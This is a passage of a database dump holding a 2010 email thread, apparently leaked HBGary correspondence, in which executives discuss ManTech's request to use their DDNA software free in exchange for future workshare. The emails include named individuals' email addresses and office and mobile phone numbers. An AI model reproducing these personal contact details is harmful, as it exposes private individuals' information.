ManTech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI will speak with David and learn more about his motives.&nbsp;\r\nI just wanted to make sure that you, Penny and I were all on the same\r\npage.&nbsp; It would be helpful if you tell Eric that deployment of HBGary\r\nsoftware into production always happens with revenue, and ManTech won&#8217;t\r\nbe an exception.\r\n\r\n&nbsp;\r\n\r\nIn reading the tea leaves of David&#8217;s email, it sounds like\r\nhe is holding out the carrot of future services revenue to HBG Fed, but aren&#8217;t\r\nyou expecting that revenue anyhow?&nbsp; Please have a frank conversation with\r\nEric and ask him if future partnering is contingent on our cutting them a\r\nsweetheart deal.&nbsp; We have no plans to grant the sweetheart deal, but we\r\nneed to ask the hard questions to flush out what Eric is thinking.&nbsp; Also\r\nask who is putting these thoughts into David&#8217;s head?&nbsp; Who within ManTech\r\nmight be influencing him?&nbsp; David stated, &#8220;I&#8217;ve\r\nhad discussions with my Executive Leadership toward that end&#8221;.&nbsp;\r\nWho?&nbsp; I will ask too.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, October 04, 2010 10:54 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Bob Slapnik\'\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI am on board. &nbsp;You can\'t ask a small company to give\r\naway software for free in hopes of future engagements. &nbsp;One thing to be\r\nclear on is big companies don\'t speak with one voice, they have many. &nbsp;The\r\nguy your working with fits somewhere in the food chain below Eric (who I am\r\nmeeting with tomorrow). &nbsp;And often external and internal efforts are\r\nseparated financially and functionally.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat I am not clear on is why the change in plans? &nbsp;If\r\nI understand the circumstances clearly I may be able to help.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 4, 2010, at 9:42 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNope we can&#8217;t do this for free, it&#8217;s a business just\r\nlike they have a business and we need to make money.&nbsp; WE aren&#8217;t\r\nusing their software for free and quite frankly we&#8217;ve done MORE than we\r\nsaid we would because of this &#8220;strategic&#8221; relationship.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:35 PM\r\nTo:&nbsp;\'Penny Leavy-Hoglund\';\r\n\'Aaron Barr\'\r\nSubject:&nbsp;ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny and Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease see the email chain below.&nbsp; I wanted to have some\r\ninternal dialogue before I speak with David.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe attached powerpoint was David&#8217;s proposition to HBGary\r\nthat they purchase DDNA during the development of their MDA system then deploy\r\nit to the ManTech SOC after the New Year.&nbsp; We ended up charging them\r\n$30,625 during the development phase with the plan that they would apply that\r\namount toward the purchase by the SOC.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn his email below he is &#8220;pitching&#8221; that we provide\r\nour software to the ManTech SOC for free in exchange for workshare on contracts\r\nand ManTech reselling DDNA licenses to customers via MDA.&nbsp;&nbsp;\r\nPersonally, I don&#8217;t like the idea.&nbsp; In my entire business career\r\nI&#8217;ve never experienced a good outcome for &#8220;future revenue&#8221;\r\nschemes.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOne reason we cooperated during their development phase was\r\nbecause we had a promise that the SOC would buy.&nbsp; Now, David is proposing\r\nto change the deal.&nbsp; We had a deal in concept worked out for the\r\ndevelopment phase, a discounted reseller price for the SOC, and reseller\r\npricing for when they use our software on their services engagements.&nbsp; I\r\nview his latest &#8220;offer&#8221; to be reneging on a handshake agreement.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI want the three us (Penny, Aaron and me) to be in agreement as\r\nto how we approach ManTech.&nbsp; I am not inclined to drop my drawers, but I\r\nam willing to bend if ManTech shows could faith with a reasonable amount of money\r\nupfront.&nbsp; Perhaps if they buy a license for the SOC we could provide them\r\nan extra reseller discount on some future transactions to RECOVER THEIR COSTS\r\nover time.&nbsp; I want them to take the financial risk, not us.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Savage, David R\r\n[mailto:David.Savage@ManTech.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 8:19 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAll good questions&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for the update on the mods, that is good news!&nbsp; In\r\nterms of testing, are we still approx 2 weeks out from obtaining the mods?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs you know we have purchased a 500 node license for $32K+ that\r\nwere are using for testing and integration, with the intent the annual clock\r\nfor the licensing would start at the beginning of 2011 when we actually deploy\r\nMDA to the ManTech SOC.&nbsp; The current plan is that the ManTech SOC would\r\nacquire additional DDNA licenses (up to 2,500 additional licenses, bringing the\r\ntotal to 3,000 with the 500 we&#8217;ve already purchased).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve been holding off on finalizing anything with the SOC,\r\nas I wanted to address the possibility of a strategic business relationship\r\nwith you (HBGary), wherein ManTech would be able to leverage DDNA free of cost\r\ninternally in exchange for workshare on contracts and ManTech reselling DDNA\r\nlicenses to customers via MDA.&nbsp; I&#8217;ve had discussions with my\r\nExecutive Leadership toward that end, and I need to follow up on with my\r\nleadership again so we can move toward some sort of solution.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAt any rate, your email has brought all this back on my radar&nbsp;J&nbsp; The ball is in my\r\ncourt now to identify the use-strategy for DDNA at the ManTech SOC, and I will\r\nget back to you.&nbsp; If for some reason you haven&#8217;t heard from me in\r\ntwo weeks, please ping me again.&nbsp; I certainly don&#8217;t mean to get\r\nside-tracked, but I wear about six different hats&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:26 PM\r\nTo:&nbsp;Savage, David R\r\nSubject:&nbsp;RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWanted to tell you that the software mods you wanted have been\r\ncompleted and are now in testing.&nbsp; Also, we had discussed that you intend\r\nto deploy your MDA software with HBGary&#8217;s DDNA agent into the ManTech SOC\r\nafter the New Year.&nbsp; Is that still the plan?&nbsp; We had discussed that\r\nthe ManTech SOC would be purchasing the HBGary software as part of that\r\ndeployment.&nbsp; Is that plan still active?&nbsp; Does the SOC have its budget\r\nidentified for that purchase?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis email is chock full of questions, isn&#8217;t it?&nbsp;&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Savage, David R\r\n[mailto:David.Savage@ManTech.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:29 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;FW: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob &#8211;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI received your voicemail.&nbsp; I do not have easy access to a\r\nphone this week.&nbsp; Is there anything we can address via email ?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Unity Messaging\r\nSystem - CHN-UNITY-1&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 1:55 PM\r\nTo:&nbsp;Savage, David R\r\nSubject:&nbsp;Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',140,'aaron_hbgary_com/140.html'),(12648,'2010-10-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009335.M325900P14101Q7504.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: ManTech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nManTech has said they would include DDNA within their MDA\r\nsolution where we get license revenue each time.&nbsp; We&#8217;ve worked out the\r\nnumbers, but we haven&#8217;t formalized it into an agreement yet.&nbsp; Those\r\n5 bodies into their SOCs would be cleared HBG Fed people, right?&nbsp; So,\r\nHBGary wouldn&#8217;t see any actual revenue until they sell other licenses.\r\n\r\n&nbsp;\r\n\r\nAs a businessman I am open to dialogue, but I have certain guidelines.&nbsp;\r\nI am open to horse trading, but if I won&#8217;t give away s/w for free until\r\nthe other side of the quid-pro-quo is in my hand.&nbsp; In other words, I am\r\nnot open to the benefit to us being in the future &#8211; it must be in the\r\npresent.&nbsp; Typically we provide licenses for revenue in the form of a\r\npurchase order.&nbsp; If they want to offer labor hours it must be immediate\r\nrevenue, not future revenue.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 7:48 AM\r\nTo: Bob Slapnik\r\nCc: \'Penny Leavy-Hoglund\'\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK I will ask Eric some questions.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA thought though. &nbsp;Is it possible to see how far he\r\nwill take this. &nbsp;They manage 5 current SOCs. &nbsp;What if they allow us\r\nto place 5 qualified candidates in existing SOCs and within the strategic\r\npartnership guarantee they will sell DDNA within their MDA solution.\r\n&nbsp;Remember they do $30-40M in IR work according to Eric.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGiving away free software is like putting a person on a\r\nservices contract free of charge. &nbsp;It is just not good business. &nbsp;But\r\nif they can push the cost somewhere else and allow us to put people on contract\r\nand then we can figure out how to get some of that money to HBGary from the\r\nservices side to pay for the licenses in the SOC.?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 5, 2010, at 7:24 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will speak with David and learn more about his motives.&nbsp;\r\nI just wanted to make sure that you, Penny and I were all on the same\r\npage.&nbsp; It would be helpful if you tell Eric that deployment of HBGary\r\nsoftware into production always happens with revenue, and ManTech won&#8217;t\r\nbe an exception.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn reading the tea leaves of David&#8217;s email, it sounds like\r\nhe is holding out the carrot of future services revenue to HBG Fed, but\r\naren&#8217;t you expecting that revenue anyhow?&nbsp; Please have a frank\r\nconversation with Eric and ask him if future partnering is contingent on our\r\ncutting them a sweetheart deal.&nbsp; We have no plans to grant the sweetheart\r\ndeal, but we need to ask the hard questions to flush out what Eric is\r\nthinking.&nbsp; Also ask who is putting these thoughts into David&#8217;s\r\nhead?&nbsp; Who within ManTech might be influencing him?&nbsp; David stated,\r\n&#8220;I&#8217;ve had discussions with my Executive Leadership toward that\r\nend&#8221;.&nbsp; Who?&nbsp; I will ask too.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 10:54 PM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nCc:&nbsp;\'Bob Slapnik\'\r\nSubject:&nbsp;Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am on board. &nbsp;You can\'t ask a small company to give\r\naway software for free in hopes of future engagements. &nbsp;One thing to be\r\nclear on is big companies don\'t speak with one voice, they have many. &nbsp;The\r\nguy your working with fits somewhere in the food chain below Eric (who I am\r\nmeeting with tomorrow). &nbsp;And often external and internal efforts are\r\nseparated financially and functionally.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat I am not clear on is why the change in plans? &nbsp;If\r\nI understand the circumstances clearly I may be able to help.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 4, 2010, at 9:42 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNope we can&#8217;t do this for free, it&#8217;s a business just\r\nlike they have a business and we need to make money.&nbsp; WE aren&#8217;t\r\nusing their software for free and quite frankly we&#8217;ve done MORE than we\r\nsaid we would because of this &#8220;strategic&#8221; relationship.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:35 PM\r\nTo:&nbsp;\'Penny Leavy-Hoglund\';\r\n\'Aaron Barr\'\r\nSubject:&nbsp;ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny and Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease see the email chain below.&nbsp; I wanted to have some\r\ninternal dialogue before I speak with David.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe attached powerpoint was David&#8217;s proposition to HBGary\r\nthat they purchase DDNA during the development of their MDA system then deploy\r\nit to the ManTech SOC after the New Year.&nbsp; We ended up charging them\r\n$30,625 during the development phase with the plan that they would apply that\r\namount toward the purchase by the SOC.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn his email below he is &#8220;pitching&#8221; that we provide\r\nour software to the ManTech SOC for free in exchange for workshare on contracts\r\nand ManTech reselling DDNA licenses to customers via MDA.&nbsp;&nbsp;\r\nPersonally, I don&#8217;t like the idea.&nbsp; In my entire business career\r\nI&#8217;ve never experienced a good outcome for &#8220;future revenue&#8221;\r\nschemes.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOne reason we cooperated during their development phase was\r\nbecause we had a promise that the SOC would buy.&nbsp; Now, David is proposing\r\nto change the deal.&nbsp; We had a deal in concept worked out for the\r\ndevelopment phase, a discounted reseller price for the SOC, and reseller\r\npricing for when they use our software on their services engagements.&nbsp; I\r\nview his latest &#8220;offer&#8221; to be reneging on a handshake agreement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI want the three us (Penny, Aaron and me) to be in agreement as\r\nto how we approach ManTech.&nbsp; I am not inclined to drop my drawers, but I\r\nam willing to bend if ManTech shows could faith with a reasonable amount of\r\nmoney upfront.&nbsp; Perhaps if they buy a license for the SOC we could provide\r\nthem an extra reseller discount on some future transactions to RECOVER THEIR\r\nCOSTS over time.&nbsp; I want them to take the financial risk, not us.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Savage, David R\r\n[mailto:David.Savage@ManTech.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 8:19 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll good questions&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the update on the mods, that is good news!&nbsp; In\r\nterms of testing, are we still approx 2 weeks out from obtaining the mods?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs you know we have purchased a 500 node license for $32K+ that\r\nwere are using for testing and integration, with the intent the annual clock\r\nfor the licensing would start at the beginning of 2011 when we actually deploy\r\nMDA to the ManTech SOC.&nbsp; The current plan is that the ManTech SOC would\r\nacquire additional DDNA licenses (up to 2,500 additional licenses, bringing the\r\ntotal to 3,000 with the 500 we&#8217;ve already purchased).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve been holding off on finalizing anything with the SOC,\r\nas I wanted to address the possibility of a strategic business relationship\r\nwith you (HBGary), wherein ManTech would be able to leverage DDNA free of cost\r\ninternally in exchange for workshare on contracts and ManTech reselling DDNA\r\nlicenses to customers via MDA.&nbsp; I&#8217;ve had discussions with my\r\nExecutive Leadership toward that end, and I need to follow up on with my\r\nleadership again so we can move toward some sort of solution.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAt any rate, your email has brought all this back on my radar&nbsp;J&nbsp; The ball is in my\r\ncourt now to identify the use-strategy for DDNA at the ManTech SOC, and I will\r\nget back to you.&nbsp; If for some reason you haven&#8217;t heard from me in\r\ntwo weeks, please ping me again.&nbsp; I certainly don&#8217;t mean to get\r\nside-tracked, but I wear about six different hats&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:26 PM\r\nTo:&nbsp;Savage, David R\r\nSubject:&nbsp;RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWanted to tell you that the software mods you wanted have been\r\ncompleted and are now in testing.&nbsp; Also, we had discussed that you intend\r\nto deploy your MDA software with HBGary&#8217;s DDNA agent into the ManTech SOC\r\nafter the New Year.&nbsp; Is that still the plan?&nbsp; We had discussed that\r\nthe ManTech SOC would be purchasing the HBGary software as part of that\r\ndeployment.&nbsp; Is that plan still active?&nbsp; Does the SOC have its budget\r\nidentified for that purchase?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis email is chock full of questions, isn&#8217;t it?&nbsp;&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Savage, David R\r\n[mailto:David.Savage@ManTech.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:29 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;FW: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI received your voicemail.&nbsp; I do not have easy access to a\r\nphone this week.&nbsp; Is there anything we can address via email ?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Unity Messaging\r\nSystem - CHN-UNITY-1&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 1:55 PM\r\nTo:&nbsp;Savage, David R\r\nSubject:&nbsp;Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7750,'aaron_hbgary_com/7750.html'),(12649,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009335.M41380P14101Q7503.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: ManTech','BTW,&nbsp;I have at least 5 stellar malware analysis, forensic candidates I can hire immediately with clearances.AaronOn Oct 5, 2010, at 7:24 AM, Bob Slapnik wrote:Aaron,&nbsp;I will 